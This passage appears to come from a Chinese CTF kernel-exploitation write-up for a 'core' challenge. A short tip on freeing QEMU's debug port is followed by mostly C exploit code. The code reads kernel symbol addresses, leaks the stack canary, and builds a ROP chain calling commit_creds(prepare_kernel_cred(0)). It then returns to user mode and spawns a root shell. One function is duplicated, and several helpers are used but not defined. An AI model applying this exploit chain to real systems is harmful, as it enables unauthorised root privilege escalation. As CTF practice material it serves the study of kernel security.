在入门测试时,经常会遇到内核启动不了,一直在重启的情况,将控制台强行叉掉后再开启可能会显示:qemu-system-x86_64: -s: Failed to find an available port: Address already in use。这是因为强制关闭后,qemu占用的端口还未被清除。解决方法:使用lsof -i tcp:<port>命令查看指定端口的占用情况,在start.sh中看到了qemu后的-s选项说明默认端口为1234。此时即输入lsof -i tcp:1234,找到占用的pid将其kill即可:kill <pid>
unsignedlonglong commit_creds = 0, prepare_kernel_cred = 0; // address of to key function // This function is used to get the addresses of two key functions from /tmp/kallsyms voidget_function_address(){ FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions if(sym_table == NULL){ printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m"); exit(1); } unsignedlonglong addr = 0; char type[0x10]; char func_name[0x100]; // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end. while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){ if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly. return; if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found commit_creds = addr; printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds); }elseif(!strcmp(func_name, "prepare_kernel_cred")){ // function "prepare_kernel_cred" found prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred); } } }
// This function is used to get the addresses of two key functions from /tmp/kallsyms voidget_function_address(){ FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions if(sym_table == NULL){ printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m"); exit(1); } unsignedlonglong addr = 0; char type[0x10]; char func_name[0x100]; // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end. while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){ if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly. return; if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found commit_creds = addr; printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds); }elseif(!strcmp(func_name, "prepare_kernel_cred")){ prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred); } } }
// this is a universal function to print binary data from a char* array voidprint_binary(char* buf, int length){ int index = 0; char output_buffer[80]; memset(output_buffer, '\0', 80); memset(output_buffer, ' ', 0x10); for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){ char temp_buffer[0x10]; memset(temp_buffer, '\0', 0x10); sprintf(temp_buffer, "%#5x", index); strcpy(output_buffer, temp_buffer); output_buffer[5] = ' '; output_buffer[6] = '|'; output_buffer[7] = ' '; for(int j=0; j<16; j++){ if(index+j >= length) sprintf(output_buffer+8+3*j, " "); else{ sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF); if(!isprint(buf[index+j])) output_buffer[58+j] = '.'; else output_buffer[58+j] = buf[index+j]; } } output_buffer[55] = ' '; output_buffer[56] = '|'; output_buffer[57] = ' '; printf("%s\n", output_buffer); memset(output_buffer+58, '\0', 16); index += 16; } }
voidshell(){ if(getuid()){ printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m"); exit(1); } printf("\033[32m\033[1m[+] Getting the root......\033[0m\n"); system("/bin/sh"); exit(0); }
intmain(){ saveStatus(); fd = open("/proc/core", 2); // open the process if(!fd){ printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m"); exit(1); } char buffer[0x100] = {0}; get_function_address(); // get addresses of two key function unsignedlonglong base_offset = commit_creds - commit_creds_base; printf("\033[34m\033[1m[*] KASLR offset: \033[0m%#llx\n", base_offset); change_off(0x40); // change the offset so that we can get canary later core_read(buffer); // get canary printf("\033[34m\033[1m[*] Contents in buffer here:\033[0m\n"); // print content in buffer print_binary(buffer, 0x40); unsignedlonglong canary = ((size_t*)&buffer)[0]; printf("\033[35m\033[1m[*] The value of canary is the first 8 bytes: \033[0m%#llx\n", canary); size_t ROP[100] = {0}; memset(ROP, 0, 800); int idx = 0; for(int i=0; i<10; i++) ROP[idx++] = canary; ROP[idx++] = poprdi_ret + base_offset; ROP[idx++] = 0; // rdi -> 0 ROP[idx++] = prepare_kernel_cred; ROP[idx++] = poprdx_ret + base_offset; ROP[idx++] = poprcx_ret + base_offset; ROP[idx++] = movrdirax_callrdx + base_offset; ROP[idx++] = commit_creds; ROP[idx++] = swapgs_popfq_ret + base_offset; // step 1 of returning to user mode: swapgs ROP[idx++] = 0; ROP[idx++] = iretq + base_offset; // step 2 of returning to user mode: iretq // after the iretq: return address, user cs, user rflags, user sp, user ss ROP[idx++] = (unsignedlonglong)shell; ROP[idx++] = user_cs; ROP[idx++] = user_rflags; ROP[idx++] = user_sp; ROP[idx++] = user_ss; printf("\033[34m\033[1m[*] Our rop chain looks like: \033[0m\n"); print_binary((char*)ROP, 0x100); write(fd, ROP, 0x800); core_copy_func(0xffffffffffff1000); return0; }